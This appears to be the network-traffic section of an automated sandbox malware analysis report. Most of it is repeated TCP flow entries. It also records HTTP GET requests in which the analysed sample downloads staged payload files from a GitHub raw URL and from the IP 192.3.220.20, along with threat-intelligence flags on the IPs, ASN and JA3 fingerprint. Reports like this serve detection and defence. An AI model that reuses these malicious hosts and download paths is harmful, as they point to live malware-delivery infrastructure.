Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.3.220.20:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 192.3.220.20:80
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /100/RRFGV.txt HTTP/1.1Host: 192.3.220.20Connection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.199.109.133 185.199.109.133
Source: Joe Sandbox View IP Address: 192.3.220.20 192.3.220.20
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /100/newprojectwithnewthingstobecome.tIF HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.220.20Connection: Keep-Alive
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.22:49164 version: TLS 1.0
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
